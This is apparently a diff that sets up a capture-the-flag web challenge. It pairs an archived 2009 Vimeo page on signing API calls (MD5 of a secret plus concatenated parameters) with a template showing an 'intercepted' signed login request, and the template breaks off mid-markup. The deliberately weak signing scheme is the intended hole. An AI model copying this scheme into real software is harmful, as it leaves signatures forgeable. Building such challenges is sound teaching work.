<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAKhJREFUeNpiFFdW+s9AOfjFxEAd8IVaBr2glkHXqGXQWWoZdJAaBj0C4lPUMGgxEP+l1KBfQDwdxKDUoFlA/JRSg94BcT2MQ4lBWVDDKDJoChCvRBYgx6BNQFyALkiqQVuBOAIU3ZQYBIohfyD+jk2SGINeAHEoEKdjcwkMsOArY4C4G4j7oGy8AJtB14B4DTRmXhPrb5BBF4D4DqgogEbpfXLSA0CAAQACpyLRjs+JagAAAABJRU5ErkJggg==" style="position:absolute;right:0px;top:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</li>
|
||||
</ul>
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599" target="_blank" style="cursor:pointer;text-decoration:none;display:block;color:rgb(3, 149, 204);outline: invert none medium; margin: 0px; padding: 0px; "><img src="611a2426c1622266efe3d377354514c2b0ac6c9b.jpg" style="z-index:1999999;position:absolute;top:8px;height:24px;width:24px;vertical-align:middle;border-width: 3px; border-style: solid; margin: 0px; padding: 0px; border-color: rgb(119, 212, 253); "/></a>
|
||||
<div style="position:absolute;margin: 0px; padding: 0px 0px 0px 37px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599" target="_blank" style="cursor:pointer;text-decoration:none;display:block;color:rgb(255, 255, 255);outline: invert none medium; margin: 0px; padding: 0px; ">Me</a>
|
||||
</div>.
|
||||
</li>
|
||||
</ul>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAyCAYAAABRYothAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAALdJREFUeNpiFFdW+s9ABcDEQCUwatCoQaMGjRo0atCoQaMGjTyDflHLoC/UMugFtQy6Ri2DzlLLoIPUMugUED+ihkF/gXgZtRLkFErTE8ygp0A8i1pZpB6I31HDIJAhWdTKtCuh4UWV3F8AxJuoYRAoOUQA8VZqlEffgdiflJjEV7CBXJYOxKHElBDElJBrgFgVmjy+UFrUggxoAmIlIG4F4pvoChiBHT9yk44iEIcDsTEQqwAEGAB4Dx9oMGHI6wAAAABJRU5ErkJggg==" style="width:18px;height:50px;float:right;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</div>
|
||||
<div style="position:absolute;top:100px;right:20px;text-align:right;width:400px;margin: 0px; padding: 0px; ">
|
||||
</div>
|
||||
</div>
|
||||
<div style="background-image:url(data:image/gif;base64,R0lGODlh1AMZAMQAAOfn3vX18f39/enp4P7+/u/v6fj49fPz7/f39Ojo3+rq4vLy7ezs5fv7+ujo4Pr6+P39/P7+/fz8+/Ly7vPz7urq4fv7+f///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAADUAxkAAAX/ICCOJKksyHOtbOu+cCzPdG3feK7vfO//wKBwSCwaj8ikcslsOp/QqHQqfSAWipJ2ux0cLNSweEwum8/otHrNbrvf8LjQchhw7yMHJSLv+/+AgYKDhIWGh4iJNBEUDnhbBRCKk5SVlpeYmZqbnJcQBY8kAZ2kpaanqKmqq6xwAaEJBq2ztLW2t7i5uoEGCXiyu8HCw8TFxse1BnejyM3Oz9DR0tNOr1oF1Nna29zd3rqgJAMC3+Xm5+jp6mwCdiPM6/Hy8/T19i/WABUE9/3+/wADCiNQQcQBgQgTKlzIENEBERIaSpxIsaJFJxIAMLjIsaPHjyBZMJgQsqTJkyjnQ01AkLKly5cwkSFoELOmzZs4SzUgl7Onz59A+wjgF7So0aNInRBNyrSp06dQo0qdSrWq1atYs2rdyrWr169gw4p9EgIAOw==);background-color: rgb(255, 255, 255); width:980px;font-size:11px;background-position: 0% 0%; background-repeat: no-repeat; margin: 0px; padding: 0px; ">
|
||||
<div style="position:relative;margin: 0px 0px 2em; padding: 0px 20px; ">
|
||||
<h1 style="font-family:arial, sans-serif;color:rgb(62, 62, 62);font:normal normal normal 36px/normal arial, sans-serif;font-weight:bold;line-height:36px;margin: 0px; padding: 20px 20px 0px 0px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Developers</a>
|
||||
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/advanced-api" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Advanced API</a>
|
||||
/ Signing API Calls</h1>
|
||||
</div>
|
||||
<div style="width:940px;margin: 0px; padding: 0px 20px; ">
|
||||
<div style="float:left;color:rgb(62, 62, 62);font-size:11px;width:620px;margin: 0px 10px 0px 0px; padding: 0px; ">
|
||||
<div style="font:normal normal normal 11px/16px verdana, sans-serif;margin: 0px 0px 15px; padding: 0px; ">Signing method calls is the same for desktop and web based programs. This means on top of the parameters you request, you need to pass your
|
||||
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">api_key</code>
|
||||
<span style="color:rgb(150, 150, 150);margin: 0px; padding: 0px; ">(not your secret)</span>
|
||||
and the <code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">api_sig</code>
|
||||
based on those parameters.</div>
|
||||
<div style="font:normal normal normal 11px/16px verdana, sans-serif;margin: 0px 0px 15px; padding: 0px; ">Let's assume that our API key is
|
||||
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">df3f791718032a70119d35d65d8b6d0d</code>, our shared secret is
|
||||
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">sec12345</code>.</div>
|
||||
<div style="font:normal normal normal 11px/16px verdana, sans-serif;margin: 0px 0px 15px; padding: 0px; ">Generating a signature is easy and can be done in any programming language. To make our signature, we take a string of the arguments being passed, and prepend our shared secret.</div>
|
||||
<div style="font:normal normal normal 11px/16px verdana, sans-serif;margin: 0px 0px 15px; padding: 0px; ">For this example, we'll make a call to
|
||||
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">vimeo.videos.comments.getList()</code>. Our parameters are the following:</div>
|
||||
<blockquote style="color:rgb(94, 94, 94);background-color: rgb(253, 253, 253); border-width: 1px; border-style: dotted; margin: 10px 0px; padding: 10px 20px; border-color: rgb(214, 214, 214); ">
|
||||
<div style="color:rgb(62, 62, 62);font-weight:bold;float:left;text-align:right;margin: 0px 10px 0px 0px; padding: 0px; ">
|
||||
method<br style="margin: 0px; padding: 0px; "/>
|
||||
video_id<br style="margin: 0px; padding: 0px; "/>
|
||||
api_key </div>
|
||||
<div style="float:left;margin: 0px; padding: 0px; ">
|
||||
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">vimeo.videos.comments.getList</code><br style="margin: 0px; padding: 0px; "/>
|
||||
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">375747</code><br style="margin: 0px; padding: 0px; "/>
|
||||
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">df3f791718032a70119d35d65d8b6d0d</code>
|
||||
<span style="color:rgb(150, 150, 150);margin: 0px; padding: 0px; ">(this is required in every method call)</span>
|
||||
</div>
|
||||
<div style="display:block;clear:both;visibility:hidden;margin: 0px; padding: 0px; "></div>
|
||||
</blockquote>
|
||||
<div style="font:normal normal normal 11px/16px verdana, sans-serif;margin: 0px 0px 15px; padding: 0px; ">Now we'll generate the base of our signature by creating a string of our parameter name/value pairs in alphabetical order. Do not escape any characters when generating this string, all characters should be unescaped.</div>
|
||||
<blockquote style="color:rgb(94, 94, 94);background-color: rgb(253, 253, 253); border-width: 1px; border-style: dotted; margin: 10px 0px; padding: 10px 20px; border-color: rgb(214, 214, 214); "><code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">
|
||||
<strong style="margin: 0px; padding: 0px; ">api_key</strong>df3f791718032a70119d35d65d8b6d0d<strong style="margin: 0px; padding: 0px; ">method</strong>vimeo.videos.comments.getList<strong style="margin: 0px; padding: 0px; ">video_id</strong>375747
|
||||
</code></blockquote>
|
||||
<div style="font:normal normal normal 11px/16px verdana, sans-serif;margin: 0px 0px 15px; padding: 0px; ">Next, we prepend that string with our shared secret
|
||||
<span style="color:rgb(150, 150, 150);margin: 0px; padding: 0px; ">(green)</span>.</div>
|
||||
<blockquote style="color:rgb(94, 94, 94);background-color: rgb(253, 253, 253); border-width: 1px; border-style: dotted; margin: 10px 0px; padding: 10px 20px; border-color: rgb(214, 214, 214); "><code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">
|
||||
<span style="color:green;margin: 0px; padding: 0px; ">sec12345</span><strong style="margin: 0px; padding: 0px; ">api_key</strong>df3f791718032a70119d35d65d8b6d0d<strong style="margin: 0px; padding: 0px; ">method</strong>vimeo.videos.comments.getList<strong style="margin: 0px; padding: 0px; ">video_id</strong>375747
|
||||
</code></blockquote>
|
||||
<div style="font:normal normal normal 11px/16px verdana, sans-serif;margin: 0px 0px 15px; padding: 0px; ">Now we'll take the MD5 hash of the signature and add it to our parameters.</div>
|
||||
<blockquote style="color:rgb(94, 94, 94);background-color: rgb(253, 253, 253); border-width: 1px; border-style: dotted; margin: 10px 0px; padding: 10px 20px; border-color: rgb(214, 214, 214); "><code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">
|
||||
c5370e4b0c550494ba49d86893a0384f </code></blockquote>
|
||||
<div style="font:normal normal normal 11px/16px verdana, sans-serif;margin: 0px 0px 15px; padding: 0px; ">So the final set of parameters passed to the API will be:</div>
|
||||
<blockquote style="color:rgb(94, 94, 94);background-color: rgb(253, 253, 253); border-width: 1px; border-style: dotted; margin: 10px 0px; padding: 10px 20px; border-color: rgb(214, 214, 214); ">
|
||||
<div style="color:rgb(62, 62, 62);font-weight:bold;float:left;text-align:right;margin: 0px 10px 0px 0px; padding: 0px; ">
|
||||
method<br style="margin: 0px; padding: 0px; "/>
|
||||
video_id<br style="margin: 0px; padding: 0px; "/>
|
||||
api_key<br style="margin: 0px; padding: 0px; "/>
|
||||
api_sig </div>
|
||||
<div style="float:left;margin: 0px; padding: 0px; ">
|
||||
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">vimeo.videos.comments.getList</code><br style="margin: 0px; padding: 0px; "/>
|
||||
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">375747</code><br style="margin: 0px; padding: 0px; "/>
|
||||
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">df3f791718032a70119d35d65d8b6d0d</code><br style="margin: 0px; padding: 0px; "/>
|
||||
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">c5370e4b0c550494ba49d86893a0384f</code>
|
||||
</div>
|
||||
<div style="display:block;clear:both;visibility:hidden;margin: 0px; padding: 0px; "></div>
|
||||
</blockquote>
|
||||
<div style="font:normal normal normal 11px/16px verdana, sans-serif;margin: 0px 0px 15px; padding: 0px; ">That's all there is to it! Pretty easy, huh?</div>
|
||||
</div>
|
||||
<div style="float:left;color:rgb(62, 62, 62);font-size:11px;width:300px;margin: 0px 0px 0px 10px; padding: 0px; ">
|
||||
<div style="position:relative;margin: 0px; padding: 0px; ">
|
||||
<div style="height:25px;background-color: rgb(78, 186, 255); margin: 0px; padding: 0px; ">
|
||||
<h4 style="position:absolute;top:7px;left:8px;line-height:11px;font-size:11px;color:rgb(255, 255, 255);margin: 0px; padding: 0px; ">Vimeo API</h4>
|
||||
</div>
|
||||
<img src="data:image/gif;base64,R0lGODlhCQAFAIAAABorPE66/yH5BAEAAAAALAAAAAAJAAUAAAIKjH+ACYoNGWxhFgA7" style="height:5px;width:9px;position:absolute;left:18px;z-index:2;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<ul style="list-style-type:none;margin: 10px 0px 20px; padding: 0px; ">
|
||||
<li style="list-style-type:none;font:normal normal bold 12px/14px arial, sans-serif;margin: 10px 0px; padding: 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">API Home</a>
|
||||
</li>
|
||||
<li style="list-style-type:none;font:normal normal bold 12px/14px arial, sans-serif;margin: 10px 0px; padding: 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/simple-api" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Simple API Documentation</a>
|
||||
</li>
|
||||
<li style="list-style-type:none;font:normal normal bold 12px/14px arial, sans-serif;margin: 10px 0px; padding: 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/oembed" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">oEmbed Documentation</a>
|
||||
</li>
|
||||
<li style="list-style-type:none;font:normal normal bold 12px/14px arial, sans-serif;margin: 10px 0px; padding: 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/moogaloop" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Moogaloop Documentation</a>
|
||||
</li>
|
||||
<li style="list-style-type:none;font:normal normal bold 12px/14px arial, sans-serif;margin: 0px 0px 5px; padding: 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/advanced-api" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Advanced API Documentation</a>
|
||||
<ul style="list-style-type:none;margin: 10px 0px 20px; padding: 0px; ">
|
||||
<li style="list-style-type:none;font:normal normal normal 11px/14px verdana, sans-serif;margin: 0px 0px 5px 15px; padding: 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/web-auth" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Web-based authentication</a>
|
||||
</li>
|
||||
<li style="list-style-type:none;font:normal normal normal 11px/14px verdana, sans-serif;margin: 0px 0px 5px 15px; padding: 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/desktop-auth" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Desktop-based authentication</a>
|
||||
</li>
|
||||
<li style="list-style-type:none;font:normal normal normal 11px/14px verdana, sans-serif;margin: 0px 0px 5px 15px; padding: 0px; ">
|
||||
<strong style="margin: 0px; padding: 0px; ">Signing API calls</strong>
|
||||
← </li>
|
||||
<li style="list-style-type:none;font:normal normal normal 11px/14px verdana, sans-serif;margin: 0px 0px 5px 15px; padding: 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/response-formats" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Response formats</a>
|
||||
</li>
|
||||
<li style="list-style-type:none;font:normal normal normal 11px/14px verdana, sans-serif;margin: 0px 0px 5px 15px; padding: 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/upload" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Upload API</a>
|
||||
</li>
|
||||
<li style="list-style-type:none;font:normal normal normal 11px/14px verdana, sans-serif;margin: 0px 0px 5px 15px; padding: 0px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api-docs/advanced-api-docs.html" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Full method list</a></li>
|
||||
<li style="list-style-type:none;font:normal normal normal 11px/14px verdana, sans-serif;margin: 0px 0px 5px 15px; padding: 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/sandbox" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Sandbox</a>
|
||||
</li>
|
||||
</ul>
|
||||
</li>
|
||||
<li style="list-style-type:none;font:normal normal bold 12px/14px arial, sans-serif;margin: 10px 0px; padding: 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/developer/user1389599" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Manage your Developer API Keys</a>
|
||||
</li>
|
||||
<li style="list-style-type:none;font:normal normal bold 12px/14px arial, sans-serif;margin: 10px 0px; padding: 0px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/forum:API" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">API Forum</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
<div style="position:relative;margin: 0px; padding: 0px; ">
|
||||
<div style="height:25px;background-color: rgb(109, 206, 238); margin: 0px; padding: 0px; ">
|
||||
<h4 style="position:absolute;top:7px;left:8px;line-height:11px;font-size:11px;color:rgb(255, 255, 255);margin: 0px; padding: 0px; ">
|
||||
Vimeo developer highlights </h4>
|
||||
</div>
|
||||
<img src="data:image/gif;base64,R0lGODlhCQAFAIAAABorPG3O7iH5BAEAAAAALAAAAAAJAAUAAAIKjH+ACYoNGWxhFgA7" style="height:5px;width:9px;position:absolute;left:18px;z-index:2;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</div>
|
||||
<div style="margin: 0px 0px 20px; padding: 0px; ">
|
||||
<div class="object" style="background-color: rgba(224, 224, 224, 0.5); display:inline-block;width:300px;height:225px;border-width: 0; margin: 0px; padding: 0px; ">
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
<div style="color:rgb(150, 150, 150);font-size:10px;text-align:right;margin: 2px 0px 0px; padding: 0px; ">
|
||||
Powered by Vimeo <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/widget" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Hubnut</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div style="display:block;clear:both;visibility:hidden;margin: 0px; padding: 0px; "></div>
|
||||
<div style="margin: 0px; padding: 0px; ">
|
||||
<ul style="list-style-type:none;margin: 0px; padding: 20px 20px 0px; ">
|
||||
<li style="list-style-type:none;background-color: rgb(246, 246, 234); font-size:11px;color:rgb(164, 164, 164);line-height:23px;height:23px;margin: 0px 0px 1px; padding: 0px 10px; ">
|
||||
<span style="color:rgb(62, 62, 62);font-weight:bold;margin: 0px; padding: 0px; ">Vimeo:</span> <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/about" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">About</a>
|
||||
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/blog" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Blog</a>
|
||||
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/roadmap" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Roadmap</a>
|
||||
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Developers</a>
|
||||
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/guidelines" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Community Guidelines</a>
|
||||
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/forums" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Forums</a>
|
||||
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/toys" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Toys</a>
|
||||
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/help" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Help!</a>
|
||||
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/site_map" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Site Map</a>
|
||||
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/plus" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Get Vimeo Plus</a>
|
||||
</li>
|
||||
<li style="list-style-type:none;background-color: rgb(246, 246, 234); font-size:11px;color:rgb(164, 164, 164);line-height:23px;height:23px;margin: 0px 0px 1px; padding: 0px 10px; ">
|
||||
<span style="color:rgb(62, 62, 62);font-weight:bold;margin: 0px; padding: 0px; ">Legal:</span> <span style="color:rgb(150, 150, 150);margin: 0px; padding: 0px; ">©2009 Vimeo, LLC</span>
|
||||
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/terms" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Terms & Conditions</a>
|
||||
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/privacy" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Privacy Statement</a>
|
||||
</li>
|
||||
</ul>
|
||||
<div style="margin: 0px; padding: 1px 20px 20px; ">
|
||||
<div style="background-color: rgb(246, 246, 234); margin: 0px; padding: 0px; ">
|
||||
<div style="position:relative;float:left;width:728px;margin: 10px; padding: 0px; ">
|
||||
<div style="margin: 0px; padding: 0px; ">
|
||||
<div style="position:relative;float:left;width:728px;height:90px;margin: 10px; padding: 0px; "></div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<div style="float:right;width:155px;color:rgb(150, 150, 150);margin: 10px; padding: 40px 0px 0px; ">
|
||||
Don't want to see ads?<br style="margin: 0px; padding: 0px; "/>
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/plus" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Get
|
||||
<strong style="margin: 0px; padding: 0px; ">Vimeo
|
||||
<img alt="plus" src="data:image/gif;base64,R0lGODlhGAAMAJEAAE66/////wAAAAAAACH5BAEHAAIALAAAAAAYAAwAAAIqFI6pC8YPo1ShnoAw0FUnvmVX+IAeSC7dyJ6Ml6Ls91kbZ0/6Ljm8IigAADs=" style="border-width: 0px; border-style: none; margin: 0px 0px -2px; padding: 0px; border-color: white; "/></strong></a>
|
||||
</div>
|
||||
<div style="display:block;clear:both;visibility:hidden;margin: 0px; padding: 0px; "></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
<div style="text-align:left;display:none;margin: 0px; padding: 0px; ">
|
||||
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
<div style="text-align:left;position:absolute;top:-10000px;left:-10000px;width:0px;height:0px;margin: 0px; padding: 0px; "></div>
|
||||
|
||||
|
||||
</div></div></div></body></html>
|
|
@ -0,0 +1,48 @@
|
|||
Welcome!<br>
|
||||
|
||||
<h1>Docs</h1>
|
||||
|
||||
Make your requests as POST to <code>/api</code> in JSON format.<br>
|
||||
|
||||
<a href="{{ url_for('static', filename='xte1C/index.html') }}">Here</a> is the documentation on how to sign requests.<br>
|
||||
|
||||
<h1>Intercepted request</h1>
|
||||
|
||||
Here is an example API call by user {{ user_id }}:<br>
|
||||
|
||||
<blockquote style="color:rgb(94, 94, 94);background-color: rgb(253, 253, 253); border-width: 1px; border-style: dotted; margin: 10px 0px; padding: 10px 20px; border-color: rgb(214, 214, 214); font: normal normal normal 11px verdana, sans-serif;">
|
||||
<div style="color:rgb(62, 62, 62);font-weight:bold;float:left;text-align:right;margin: 0px 10px 0px 0px; padding: 0px; ">
|
||||
method<br style="margin: 0px; padding: 0px; ">
|
||||
api_key<br style="margin: 0px; padding: 0px; ">
|
||||
api_sig </div>
|
||||
<div style="float:left;margin: 0px; padding: 0px; ">
|
||||
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">vimeo.test.login</code><br style="margin: 0px; padding: 0px; ">
|
||||
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">{{ api_key }}</code><br style="margin: 0px; padding: 0px; ">
|
||||
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">{{ api_sig }}</code>
|
||||
</div>
|
||||
<div style="display:block;clear:both;visibility:hidden;margin: 0px; padding: 0px; "></div>
|
||||
</blockquote>
|
||||
|
||||
<pre style="font-family:courier, monospace;display:block;font:normal normal normal 11px/14px monaco, courier, mono-space;background-color: rgb(253, 253, 253); border-width: 1px; border-style: dotted; margin: 10px 0px; padding: 10px 20px; border-color: rgb(214, 214, 214); "><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; "><?</span><span style="margin: 0px; padding: 0px; "><span style="color:rgb(0, 0, 0);margin: 0px; padding: 0px; ">xml version</span><span style="color:rgb(102, 102, 0);margin: 0px; padding: 0px; ">=</span><span style="color:rgb(0, 136, 0);margin: 0px; padding: 0px; ">"1.0"</span><span style="color:rgb(0, 0, 0);margin: 0px; padding: 0px; "> encoding</span><span style="color:rgb(102, 102, 0);margin: 0px; padding: 0px; ">=</span><span style="color:rgb(0, 136, 0);margin: 0px; padding: 0px; ">"UTF-8"</span></span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; ">?></span><span style="color:rgb(0, 0, 0);margin: 0px; padding: 0px; "><br style="margin: 0px; padding: 0px; "></span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; "><rsp </span><span style="color:rgb(102, 0, 102);margin: 0px; padding: 0px; ">stat</span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; ">=</span><span style="color:rgb(0, 136, 0);margin: 0px; padding: 0px; ">"ok"</span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; ">></span><span style="color:rgb(0, 0, 0);margin: 0px; padding: 0px; "><br style="margin: 0px; padding: 0px; "> </span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; "><user </span><span style="color:rgb(102, 0, 102);margin: 0px; padding: 0px; ">id</span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; ">=</span><span style="color:rgb(0, 136, 0);margin: 0px; padding: 0px; ">"{{ user_id }}"</span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; ">></span><span style="color:rgb(0, 0, 0);margin: 0px; padding: 0px; "><br style="margin: 0px; padding: 0px; "> </span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; "><username></span><span style="color:rgb(0, 0, 0);margin: 0px; padding: 0px; ">{{ user_name }}</span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; "></username></span><span style="color:rgb(0, 0, 0);margin: 0px; padding: 0px; "><br style="margin: 0px; padding: 0px; "> </span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; "></user></span><span 